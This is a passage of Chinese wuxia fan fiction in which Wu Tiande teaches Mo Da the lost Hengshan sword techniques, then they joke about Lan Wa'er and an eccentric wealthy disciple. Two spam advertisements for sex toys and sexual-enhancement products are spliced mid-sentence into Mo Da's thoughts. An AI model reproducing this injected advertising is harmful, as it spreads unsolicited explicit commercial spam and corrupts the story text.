吴天德不答,见他退开,只在原地将自已所记的衡山剑法一路路使出,只瞧得莫大先生目眩神驰,激动不已。
原来衡山七十二峰,以芙蓉、紫盖、石廪、天柱、祝融五峰最高。衡山派剑法之中,也有五路剑法,分别以这五座高峰为名,这五路剑法,每一招之中都有攻有守,威力之强,为衡山剑法之冠,是以这五招剑法,合称“衡山五神剑”。
昔年衡山派精英尽丧,这五路剑法中传世的绝招已不多,五路剑法尽皆残缺不全,莫大先生武学天份极高,将五神剑中的绝招融入“百变千幻衡山云雾十三式”中,才闯下今日的名声,但比起昔年衡山五路神剑,威力仍是差得太远。
此时眼见吴天德所使的诸般剑法,尽是五神剑中所出,饶是他一生淡泊,定力深厚,这时见了本门诸多神妙招数一一使来,也不由大为激动。
吴天德使了一遍,突地旋身一住,然后动作放缓,将那诸般巧妙招术又慢慢一招招使来,莫大先生心知他有心传授,瞪大了一双鼠目,眼皮眨也不眨,生怕一眨眼,便少看了其中一招的精妙。
各派剑法都有相应的内功心法或剑法精要相配,莫大先生见他使出这些招术来,暗思本派武功的诀要,对本派绝招剑意的理解领会更胜吴天德一筹,原来本派武功竟有如此威力奇大的招式,莫大先生喜的眉飞色舞。
待吴天德将那剑法再使一遍,跨步后身,又使出最后一招“雁回祝融”来,莫大先生终耐不住喜悦之情,忽地纵声长啸,飞身而起,风一般卷了进来,一剑刺向吴天德手中的冰柱。
原来衡山五高峰中,以祝融峰最高,这招“雁回祝融”,在衡山五神剑中也是最为精深。莫大先生的师父当年说到这一招时,含糊其词,只将招式讲了个大概,然后摇头叹息自言也不知其中精要。
莫大这时见吴天德使了两遍,招式攻守有据,其中后着变化无穷,这一剑刺出,竟是剑势绵绵,一反衡山剑法奇诡怪异的风格,大有王者之风,忍不住上来一探究竟。
这一剑果然威力奇大,莫大先生自知不敌,只想亲身体验其中滋味,是以一剑递出,便立即飞身后退,不料以他这般诡异快速的身法,这一沾上了身竟也是避无可避,那一剑刺来,剑尖明晃晃轻微颤动,莫大先生只觉自已无论避向那个方向,那一剑只需随之一变,都会立即刺入自已身体,大骇之下不敢再退,一挺树枝,凝起全身功力,急迎而上。
吴天德使得兴起,未料到莫大先生本来乖乖看得高兴,忽然会变得这么“顽皮”,一时收手不及,那冰柱径直刺向莫大先生枯瘦的身子,这冰刺在他手中无疑于一柄利器,若是刺中,莫大先生哪有命在?
大骇之下吴天德聚力于掌,一声大喝,冰柱与树枝相交的瞬间,太乙混元真气全力灌入冰刺之中,将那冰刺震得碎裂成片。
莫大先天只觉掌中一股巨力传来,那劲道盘旋如龙,一条膀子顿时震得麻了,腾腾腾连退三步,砰地一声重重撞在老槐树上,一大团雪呼地落下,将他淋成了雪人儿。
莫大先生怔立片刻,忽然放声大笑,这笑声极是畅快。他这一笑,身躯抖动,掌中那根树枝受震,忽地寸寸断裂,落下时已化作一团飞灰,飘洒在地,莫大先生见了笑声一噎,只剩下惊骇不信的神情,再也笑不出来。
吴天德弯腰长长一揖,呵呵笑道:“吴天德见过莫大先生!”莫大先生怔怔地瞧了他半晌,忽然兜头向吴天德也长长施了一礼,道:“衡山莫大,谢过华山剑宗吴先生大恩!”
这莫大虽顽世不恭,可是受了人家如此大的恩惠,却也不敢不有所示意,这番话已将吴天德置于衡山一派的大恩人身份,在武林中,此举可谓深蕴极大含义,可惜吴天德便如当初莫大对他拉起“高山流水”的曲子时一样,迟钝得很,根本不明其意。
他对衡山莫大,有一种莫名的好感,见他郑而重之地施礼道谢,连忙抢上一步道:“莫大先生何必如此,这本就是衡山派的绝学,晚辈无意中学了已是大大不该,今日物归原主理所当然,你老人家这么客气,可叫晚辈惭愧极啦!”
莫大先生拍拍他肩膀,满眼感激,心中暗想:“虽说这是我衡山剑法,换做别人若是学了谁不秘技自珍?哪有再交还给原派之理,这小子混迹江湖这么久,现在做了华山剑宗掌门,却是忠厚纯朴如初,实是难得休息一下 广告时间:金冠信誉人气第一充气娃娃自慰名器 买一送7 日本品牌代言 内部全仿真阴道倒模 点击进入
休息一下 广告时间:持久延时 外用成人用品 黑寡妇煞星 早泄克星 点击进入。”
吴天德问道:“莫大先生怎么知道晚辈途经此地,在此等我可有要事吩咐么?”
莫大先生一笑,自去亭中桌旁取了置于地上的胡琴回来,对吴天德道:“我听说大闹金盆洗手大会的吴天德,先闹华山正气堂,又闹恒山白云庵,本想赶去瞧瞧热闹,不料赶去时已经晚了,我这些年虽不显于江湖,暗中倒还有些门道,你们到了仙翁庙时,我已得到你们的消息,其实我一路赶来,前日就已寻到了你”。
这老家伙瞧瞧站在一边,已拉下遮面巾,一张玉面无比娇媚的蓝娃儿一眼,忽然有些为老不尊地耸耸肩,低声道:“你这小子平时油腔滑调,一肚子花花肠子,守着这么个如花似玉的小姑娘,却能坚守雷池,不及于乱,看得我老头子好生佩服!”
吴天德听了他夸奖,暗道一声惭愧:我哪是想坚守雷池啊,奶奶的,要不是那该死的情蛊让人投鼠忌器,如花似玉的小姑娘早变成千娇百媚的小妇人啦!不及于乱?两情相悦的,我又不是柳下垂,干吗不及于乱哪?
他正懊恼中,忽然心中一跳,脸上顿时火辣辣地热了起来,两人虽未破那最后一关,但房门一关,春色无边,那不可言于人听的羞人手段可是层出不穷,叫人见了简直要称他为荒淫无道的商纣王了。
这位莫大先生看起来形容猥琐,其实……行为更猥琐,最喜欢偷窥别人了。记得大嵩阳手费彬追杀刘正风等人时他就躲在暗中偷窥、令狐冲带了一班年轻美貌的尼姑坐船离开浙江时他又在暗中尾随察看令狐冲有无不轨,还有梅庄成亲时……
我的天呐,要是与娃娃闺房中那些羞人的举动被他偷窥到……,他偷偷瞄了莫大先生一言,见他一本正经、夸得心悦诚服,好象真的不知详情,不由暗想:或许他有相人之术,见蓝娃儿还是处子之身,才藉此推断夸奖我吧?
这样一想,老吴才放下心来。蓝娃儿走了过来,娇声道:“吴大哥,这位老爷子是你的朋友吗?”吴天德心中正发虚,听她问话,忙干巴巴地笑了一声,道:“呃……这位是我认识的一位武林前辈,衡山派掌门莫大先生,快来见过莫掌门”。
蓝娃儿爱屋及乌,既然是吴大哥喜欢的朋友,虽然这老头子长相猥琐得很,蓝娃儿瞧去也顺眼得多啦,忙双手抱拳,以中原武林人的礼节,脆声道:“晚辈……华山剑宗蓝娃儿,见过衡山莫大先生”。
吴天德瞧了她一眼,心道:“嘿,我在泰山天门道人面前说了一句,这小丫头倒顺杆儿就爬,从此成了华山派啦!”
莫大先生呵呵一笑道:“小朋友不必客气,吴老弟现在是华山剑宗掌门,我们是平辈论交,说是朋友也不为过”。
吴天德咳了一声,问道:“莫大先生此来寻我,可有要事?”,他这么一问是因为家小全在恒山,莫大来寻他,不免担心是否恒山家中又出了事。
莫大先生道:“你知我喜欢东游西逛,自听你说及嵩山左盟主的用意,我便对此着意小心,不过一直没有什么确切证据。想来寻你,也只是听……听定闲师太谈及你武功之高,有些好奇罢了。对了,你是不是收了个徒弟?”
吴天德听了一怔,莫名奇妙地道:“我什么时候收过徒弟?”
蓝娃儿插嘴道:“吴大哥,你不是对我说过,在山西晋城时收过一个叫什么白大凯子的人做徒弟么?”
凯子是中原的俚语,蓝娃儿并不明其意,还道那人就叫做白大凯子,所以随口说了出来。吴天德这才省起果然是收过这么一个徒弟的,这个……一不小心,把那小子都忘记了。
但是莫大先生这老油条哪能不懂什么叫凯子?被她这么一说,好象自已存心在坑人骗人一般,不免脸上有些挂不住了。
不料莫大先生听了蓝娃儿的话却似深有同感,望着吴天德,一副英雄所见略同的神情道:“嗯,原来那小子倒没骗人,果然是你答应收为徒弟的”。
他呵呵一笑道:“说他是凯子,也不为过,莫大闯荡江湖几十年,这么大的大凯子也是生平仅见”。
吴天德想起那位白展堂自作多情到处送银子的德性,也觉好笑,忍不住问道:“莫大先生,莫非那小子见了您老的武功,又砸出大把的银子要拜您为师了?”
莫大先生摇了摇头,忍不住呵呵笑道:“那小子不知听谁说了你剑法天下第一,对你情根深种、情有独钟、情深意切,怎么会拜别人为师?”他说完见吴天德瞪着眼睛,忙又补充道:“你莫瞪我,这是那大凯子的原话!”
吴天德啼笑皆非,哭笑不得地道:“那人……呃……,是比较有个性,莫大先生怎么会注意到他的?”
莫大先生脸上神情忽地变得十分古怪,迟疑了一下才道:“有其师必有其徒,你是如何大闹恒山的,我没有见到,不过令高徒大闹恒山的手段,倒似不在你之下,嘿嘿,等你回了恒山便知道了,恒山上下公认的天下第一大凯子,又岂能不实至名归?”